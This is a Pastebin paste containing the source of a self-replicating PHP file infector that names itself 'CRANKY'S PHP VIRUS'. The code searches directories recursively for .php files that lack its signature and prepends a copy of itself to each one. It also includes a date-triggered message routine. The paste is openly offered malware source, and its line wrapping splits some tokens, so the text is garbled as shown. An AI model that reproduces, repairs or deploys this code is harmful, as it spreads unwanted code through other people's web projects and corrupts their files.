Advertisement
ukesh

Untitled

Feb 23rd, 2015
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. <?php
  2. define("
  3. SIGNATURE", "
  4. CRANKY'S PHP
  5. VIRUS");
  6. // determine
  7. whether
  8. backslash or
  9. forward slashes
  10. are used
  11. define("SLASH",
  12. stristr($_
  13. SERVER['PWD'],
  14. "/") ? "/" :
  15. "\\");
  16. $linenumber =
  17. __LINE__;
  18. define("
  19. STARTLINE",$
  20. linenumber-4);
  21. define("ENDLINE
  22. ",$linenumber+
  23. 45);
  24. function search
  25. ($path){
  26. $ret = "";
  27. $fp =
  28. opendir($path);
  29. while($f =
  30. readdir($fp)){
  31. if(
  32. preg_match("#^\
  33. .+$#", $f) )
  34. continue; //
  35. ignore symbolic
  36. links
  37. $file_
  38. full_path = $
  39. path.SLASH.$f;
  40. if(is_
  41. dir($file_full_
  42. path)) { // if
  43. it's a
  44. directory,
  45. recurse
  46. $
  47. ret .= search($
  48. file_full_path
  49. );
  50. } else
  51. if( !stristr(
  52. file_get_
  53. contents($file_
  54. full_path),
  55. SIGNATURE) ) {
  56. // search for
  57. uninfected
  58. files to infect
  59. $
  60. ret .= $file_
  61. full_path."\n";
  62. }
  63. }
  64. r eturn $ret
  65. ;
  66. }
  67. function infect
  68. ($filestoinfect
  69. ){
  70. $handle = @
  71. fopen(__FILE__,
  72. "r");
  73. $counter =
  74. 1;
  75. $
  76. virusstring =
  77. "";
  78. while(($
  79. buffer=fgets($
  80. handle,4096))
  81. !== false){
  82. if($
  83. counter>=
  84. STARTLINE && $
  85. counter<=
  86. ENDLINE){
  87. $
  88. virusstring .=
  89. $buffer;
  90. }
  91. $
  92. counter++;
  93. }
  94. fclose($
  95. handle);
  96. $filesarray
  97. = array();
  98. $filesarray
  99. = explode("\n"
  100. ,$filestoinfect
  101. );
  102. foreach($
  103. filesarray AS $
  104. v){
  105. if(
  106. substr($v,-4
  107. )===".php"){
  108. $
  109. filecontents =
  110. file_get_
  111. contents($v);
  112. file_put_
  113. contents($v,$
  114. virusstring.$
  115. filecontents);
  116. }
  117. }
  118. }
  119. function bomb
  120. (){
  121. if(date("md
  122. ") == 0125){
  123. echo "
  124. HAPPY BIRTHDAY
  125. CRANKY!";
  126. }
  127. }
  128. $filestoinfect
  129. = search(__DIR
  130. __);
  131. infect($
  132. filestoinfect);
  133. bomb();
  134. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement